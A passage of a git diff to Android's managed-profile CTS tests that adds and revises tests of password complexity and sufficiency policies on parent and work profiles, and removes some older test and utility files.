+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.managedprofile"
-                     android:label="Managed Profile CTS Tests"/>
+         android:targetPackage="com.android.cts.managedprofile"
+         android:label="Managed Profile CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java
new file mode 100644
index 0000000..eb3f9ee
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ActivePasswordSufficientForDeviceTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_LOW;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_MEDIUM;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+import static android.os.UserHandle.USER_SYSTEM;
+
+import static org.junit.Assert.fail;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Process;
+import android.os.UserHandle;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+public class ActivePasswordSufficientForDeviceTest extends BaseManagedProfileTest {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                PASSWORD_QUALITY_UNSPECIFIED);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+        mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+    }
+
+    public void testActivePsswordSufficientForDevice_notCallableOnProfileInstance() {
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_NoPolicy() {
+        assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_UnmetParentPolicy() {
+        mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertFalse(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_IrrelevantProfilePolicy() {
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
+        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_MEDIUM);
+        assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+    }
+
+    public void testActivePsswordSufficientForDevice_UnifiedPassword_BothPolicies() {
+        changeUserCredential("1234", null, USER_SYSTEM);
+        try {
+            mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_ALPHANUMERIC);
+            mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 4);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+
+            assertFalse(mDevicePolicyManager.isActivePasswordSufficient());
+            assertTrue(mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+        } finally {
+            mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_UNSPECIFIED);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            changeUserCredential(null, "1234", USER_SYSTEM);
+        }
+    }
+
+    //TODO: reinstate test once LockSettingsShellCommand allows setting password for profiles
+    // that have unified challenge b/176230819
+    private void toTestActivePsswordSufficientForDevice_SeparatePassword_BothPolicies() {
+        final int myUserId = UserHandle.getUserId(Process.myUid());
+        changeUserCredential("1234", null, USER_SYSTEM);
+        changeUserCredential("asdf12", "1234", myUserId); // This currently fails
+        try {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_LOW);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+
+            assertTrue(mDevicePolicyManager.isActivePasswordSufficient());
+            assertFalse(
+                    mParentDevicePolicyManager.isActivePasswordSufficientForDeviceRequirement());
+        } finally {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+            changeUserCredential(null, "1234", USER_SYSTEM);
+        }
+    }
+
+    private void changeUserCredential(String newCredential, String oldCredential, int userId) {
+        final String oldCredentialArgument = (oldCredential == null || oldCredential.isEmpty()) ? ""
+                : ("--old " + oldCredential);
+        if (newCredential != null && !newCredential.isEmpty()) {
+            String commandOutput = SystemUtil.runShellCommand(String.format(
+                    "cmd lock_settings set-password --user %d %s %s", userId, oldCredentialArgument,
+                    newCredential));
+            if (!commandOutput.startsWith("Password set to")) {
+                fail("Failed to set user credential: " + commandOutput);
+            }
+        } else {
+            String commandOutput = SystemUtil.runShellCommand(String.format(
+                    "cmd lock_settings clear --user %d %s", userId, oldCredentialArgument));
+            if (!commandOutput.startsWith("Lock credential cleared")) {
+                fail("Failed to clear user credential: " + commandOutput);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java
index 6a57e2e..e3523e3 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java
@@ -24,6 +24,8 @@
 import android.os.HandlerThread;
 import android.test.AndroidTestCase;
 
+import com.android.cts.devicepolicy.CameraUtils;
+
 
 public class CameraPolicyTest extends AndroidTestCase {
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraUtils.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraUtils.java
deleted file mode 100644
index 516e244..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraUtils.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.managedprofile;
-
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.os.Handler;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-
-/**
- * A util class to help open camera in a blocking way.
- */
-class CameraUtils {
-
-    private static final String TAG = "CameraUtils";
-
-    /**
-     * @return true if success to open camera, false otherwise.
-     */
-    public static boolean blockUntilOpenCamera(CameraManager cameraManager, Handler handler) {
-        try {
-            String[] cameraIdList = cameraManager.getCameraIdList();
-            if (cameraIdList == null || cameraIdList.length == 0) {
-                return false;
-            }
-            String cameraId = cameraIdList[0];
-            CameraCallback callback = new CameraCallback();
-            cameraManager.openCamera(cameraId, callback, handler);
-            return callback.waitForResult();
-        } catch (Exception ex) {
-            // No matter what is going wrong, it means fail to open camera.
-            ex.printStackTrace();
-            return false;
-        }
-    }
-
-    /**
-     * {@link CameraDevice.StateCallback} is called when {@link CameraDevice} changes its state.
-     */
-    private static class CameraCallback extends CameraDevice.StateCallback {
-
-        private static final int OPEN_TIMEOUT_SECONDS = 5;
-
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-
-        private AtomicBoolean mResult = new AtomicBoolean(false);
-
-        @Override
-        public void onOpened(CameraDevice cameraDevice) {
-            Log.d(TAG, "open camera successfully");
-            mResult.set(true);
-            if (cameraDevice != null) {
-                cameraDevice.close();
-            }
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onDisconnected(CameraDevice cameraDevice) {
-            Log.d(TAG, "disconnect camera");
-            mLatch.countDown();
-        }
-
-        @Override
-        public void onError(CameraDevice cameraDevice, int error) {
-            Log.e(TAG, "Fail to open camera, error code = " + error);
-            mLatch.countDown();
-        }
-
-        public boolean waitForResult() throws InterruptedException {
-            mLatch.await(OPEN_TIMEOUT_SECONDS, TimeUnit.SECONDS);
-            return mResult.get();
-        }
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java
index e7eb682..83f19ff 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileTest.java
@@ -69,6 +69,11 @@
             Sets.newHashSet(
                     "com.android.cts.testapps.testapp3",
                     "com.android.cts.testapps.testapp4");
+    private static final Set<String> ALL_BUT_ONE_CROSS_PROFILE_PACKAGES =
+            Sets.newHashSet(
+                    "com.android.cts.testapps.testapp1",
+                    "com.android.cts.testapps.testapp2",
+                    "com.android.cts.testapps.testapp3");
 
     private static final UiAutomation sUiAutomation =
             InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -131,14 +136,17 @@
     }
 
     /**
-     * Sets each of the packages in {@link #ALL_CROSS_PROFILE_PACKAGES} as cross-profile. This can
+     * Sets {@code com.android.cts.testapps.testapp1} as cross-profile. This can
      * then be used for writing host-side tests. Note that the state is cleared after running any
      * test in this class, so this method should not be used to attempt to perform a sequence of
      * device-side calls.
+     * TODO (b/175017211): switch back to setting all packages in
+     * {@link #ALL_CROSS_PROFILE_PACKAGES} once the metric assertion logic in hostside can handle
+     * unordered metric entries.
      */
     public void testSetCrossProfilePackages_noAsserts() throws Exception {
         mDevicePolicyManager.setCrossProfilePackages(
-                ADMIN_RECEIVER_COMPONENT, ALL_CROSS_PROFILE_PACKAGES);
+                ADMIN_RECEIVER_COMPONENT, Sets.newHashSet("com.android.cts.testapps.testapp1"));
     }
 
     public void testSetCrossProfilePackages_firstTime_doesNotResetAnyAppOps() throws Exception {
@@ -209,9 +217,11 @@
 
     /**
      * Sets each of the packages in {@link #ALL_CROSS_PROFILE_PACKAGES} as cross-profile, then sets
-     * them again to {@link #SUBLIST_CROSS_PROFILE_PACKAGES}, with all app-ops explicitly set as
-     * allowed before-hand. This should result in resetting packages {@link
-     * #DIFF_CROSS_PROFILE_PACKAGES}. This can then be used for writing host-side tests.
+     * them again to {@link #ALL_BUT_ONE_CROSS_PROFILE_PACKAGES}, with all app-ops explicitly set as
+     * allowed before-hand. This should result in resetting package {@code
+     * com.android.cts.testapps.testapp4}. This can then be used for writing host-side tests.
+     * TODO (b/175017211): switch back to {@link #SUBLIST_CROSS_PROFILE_PACKAGES} once the metric
+     * assertion logic in hostside can handle unordered metric entries.
      */
     public void testSetCrossProfilePackages_resetsAppOps_noAsserts() throws Exception {
         mDevicePolicyManager.setCrossProfilePackages(
@@ -219,7 +229,7 @@
         explicitlySetInteractAcrossProfilesAppOps(MODE_ALLOWED);
 
         mDevicePolicyManager.setCrossProfilePackages(
-                ADMIN_RECEIVER_COMPONENT, SUBLIST_CROSS_PROFILE_PACKAGES);
+                ADMIN_RECEIVER_COMPONENT, ALL_BUT_ONE_CROSS_PROFILE_PACKAGES);
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
index bffcb00..7b7a818 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DevicePolicyManagerParentSupportTest.java
@@ -1,10 +1,15 @@
 package com.android.cts.managedprofile;
 
 import static android.app.admin.DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
 import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.testng.Assert.assertThrows;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -20,13 +25,21 @@
     private static final ComponentName FAKE_COMPONENT = new ComponentName(
             FakeComponent.class.getPackage().getName(), FakeComponent.class.getName());
 
-    public void testSetAndGetPasswordQuality_onParent() {
-        mParentDevicePolicyManager.setPasswordQuality(
-                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC_COMPLEX);
-        final int actualPasswordQuality =
-                mParentDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+    public void testSetAndGetRequiredPasswordComplexity_onParent() {
+       if (!mHasSecureLockScreen) {
+            return;
+        }
 
-        assertThat(actualPasswordQuality).isEqualTo(PASSWORD_QUALITY_NUMERIC_COMPLEX);
+        mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+        try {
+            final int actualPasswordComplexity =
+                    mParentDevicePolicyManager.getRequiredPasswordComplexity();
+
+            assertThat(actualPasswordComplexity).isEqualTo(PASSWORD_COMPLEXITY_HIGH);
+        } finally {
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(
+                    PASSWORD_COMPLEXITY_NONE);
+        }
     }
 
     public void testSetAndGetPasswordHistoryLength_onParent() {
@@ -51,7 +64,7 @@
         final int actualPasswordComplexity =
                 mParentDevicePolicyManager.getPasswordComplexity();
         assertThat(actualPasswordComplexity).isEqualTo(
-                DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+                PASSWORD_COMPLEXITY_NONE);
     }
 
     public void testSetAndGetPasswordExpirationTimeout_onParent() {
@@ -93,15 +106,47 @@
         assertThat(actualMaximumPasswordLength).isGreaterThan(0);
     }
 
-    public void testIsActivePasswordSufficient_onParent_isSupported() {
-        setPasswordQuality(PASSWORD_QUALITY_NUMERIC_COMPLEX);
-        assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+    public void testIsActivePasswordSufficient_onParent_setOnParent_isSupported() {
+        try {
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+        } finally {
+            mParentDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+        }
+    }
+
+    public void testIsActivePasswordSufficient_onParent_setOnProfile_isSupported() {
+        try {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_HIGH);
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+        } finally {
+            mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+        }
+    }
+
+    public void testSetPasswordQuality_onParent_isNotSupported() {
+        assertThrows(SecurityException.class,
+                () -> setPasswordQuality(PASSWORD_QUALITY_NUMERIC_COMPLEX));
     }
 
     private void setPasswordQuality(int quality) {
         mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, quality);
     }
 
+    public void testSettingPasswordQualityDoesNotAffectParent() {
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+        assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isTrue();
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC_COMPLEX);
+        try {
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isTrue();
+        } finally {
+            mDevicePolicyManager.setPasswordQuality(
+                    ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+        }
+    }
+
     public void testGetCurrentFailedPasswordAttempts_onParent_isSupported() {
         assertThat(mParentDevicePolicyManager.getCurrentFailedPasswordAttempts()).isEqualTo(0);
     }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
index ad534dd..6dca4ad 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ParentProfileTest.java
@@ -67,9 +67,12 @@
             .add("getPasswordExpiration")
             .add("getPasswordMaximumLength")
             .add("getPasswordComplexity")
+            .add("getRequiredPasswordComplexity")
+            .add("setRequiredPasswordComplexity")
             .add("setCameraDisabled")
             .add("getCameraDisabled")
             .add("isActivePasswordSufficient")
+            .add("isActivePasswordSufficientForDeviceRequirement")
             .add("getCurrentFailedPasswordAttempts")
             .add("getMaximumFailedPasswordsForWipe")
             .add("setMaximumFailedPasswordsForWipe")
@@ -97,6 +100,8 @@
             .add("getAccountTypesWithManagementDisabled")
             .add("setAccountManagementDisabled")
             .add("setDefaultSmsApplication")
+            .add("getPermittedInputMethods")
+            .add("setPermittedInputMethods")
             .build();
 
     private static final String LOG_TAG = "ParentProfileTest";
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java
deleted file mode 100644
index 8b7d16b..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java
+++ /dev/null
@@ -1,210 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.managedprofile;
-
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-
-/** Tests minimum password restriction APIs, including on parent profile instances. */
-public class PasswordMinimumRestrictionsTest extends BaseManagedProfileTest {
-
-    private static final int TEST_PASSWORD_LENGTH = 5;
-    private static final int TEST_PASSWORD_LENGTH_LOW = 2;
-    private static final String[] METHOD_LIST = {
-            "PasswordMinimumLength",
-            "PasswordMinimumUpperCase",
-            "PasswordMinimumLowerCase",
-            "PasswordMinimumLetters",
-            "PasswordMinimumNumeric",
-            "PasswordMinimumSymbols",
-            "PasswordMinimumNonLetter",
-            "PasswordHistoryLength"};
-
-    private DevicePolicyManager mParentDpm;
-    private int mCurrentAdminPreviousPasswordQuality;
-    private int mParentPreviousPasswordQuality;
-    private List<Integer> mCurrentAdminPreviousPasswordRestriction = new ArrayList<Integer>();
-    private List<Integer> mParentPreviousPasswordRestriction = new ArrayList<Integer>();
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
-        mCurrentAdminPreviousPasswordQuality =
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
-        mParentPreviousPasswordQuality = mParentDpm.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        for (String method : METHOD_LIST) {
-            mCurrentAdminPreviousPasswordRestriction
-                    .add(invokeGetMethod(method, mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT));
-            mParentPreviousPasswordRestriction
-                    .add(invokeGetMethod(method, mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    mCurrentAdminPreviousPasswordRestriction.get(i));
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    mCurrentAdminPreviousPasswordRestriction.get(i));
-        }
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                mCurrentAdminPreviousPasswordQuality);
-        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, mParentPreviousPasswordQuality);
-        super.tearDown();
-    }
-
-    public void testPasswordMinimumRestriction() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + 2 * i);
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(
-                    getMethodName(METHOD_LIST[i])
-                            + " failed to get expected value on mDevicePolicyManager.",
-                    TEST_PASSWORD_LENGTH + i, invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(
-                    getMethodName(METHOD_LIST[i]) + " failed to get expected value on mParentDpm.",
-                    TEST_PASSWORD_LENGTH + 2 * i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    public void testSetPasswordMinimumRestrictionWithNull() {
-        // Test with mDevicePolicyManager.
-        for (String method : METHOD_LIST) {
-            try {
-                invokeSetMethod(method, mDevicePolicyManager, null, TEST_PASSWORD_LENGTH);
-                fail("Exception should have been thrown for null admin ComponentName");
-            } catch (Exception e) {
-                if (!(e.getCause() instanceof NullPointerException)) {
-                    fail("Failed to execute set method: " + setMethodName(method));
-                }
-                // Expected to throw NullPointerException.
-            }
-        }
-
-        // Test with mParentDpm.
-        for (String method : METHOD_LIST) {
-            try {
-                invokeSetMethod(method, mParentDpm, null, TEST_PASSWORD_LENGTH);
-                fail("Exception should have been thrown for null admin ComponentName");
-            } catch (Exception e) {
-                if (!(e.getCause() instanceof NullPointerException)) {
-                    fail("Failed to execute set method: " + setMethodName(method));
-                }
-                // Expected to throw NullPointerException.
-            }
-        }
-    }
-
-    public void testGetPasswordMinimumRestrictionWithNullAdmin() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            // Check getMethod with null admin. It should return the aggregated value (which is the
-            // only value set so far).
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH_LOW + i);
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-
-            // Set strict password minimum restriction using parent instance.
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-
-            // Set strict password minimum restriction on current admin.
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            // Set password minimum restriction using parent instance.
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH_LOW + i);
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    /**
-     * Calls dpm.set{methodName} with given component name and length arguments using reflection.
-     */
-    private void invokeSetMethod(String methodName, DevicePolicyManager dpm,
-            ComponentName componentName, int length) throws Exception {
-        final Method setMethod = DevicePolicyManager.class.getMethod(setMethodName(methodName),
-                ComponentName.class, int.class);
-        setMethod.invoke(dpm, componentName, length);
-    }
-
-    /**
-     * Calls dpm.get{methodName} with given component name using reflection.
-     */
-    private int invokeGetMethod(String methodName, DevicePolicyManager dpm,
-            ComponentName componentName) throws Exception {
-        final Method getMethod =
-                DevicePolicyManager.class.getMethod(getMethodName(methodName), ComponentName.class);
-        return (int) getMethod.invoke(dpm, componentName);
-    }
-
-    private String setMethodName(String methodName) {
-        return "set" + methodName;
-    }
-
-    private String getMethodName(String methodName) {
-        return "get" + methodName;
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningSuccessActivity.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningSuccessActivity.java
deleted file mode 100644
index cfce578..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/ProvisioningSuccessActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.managedprofile;
-
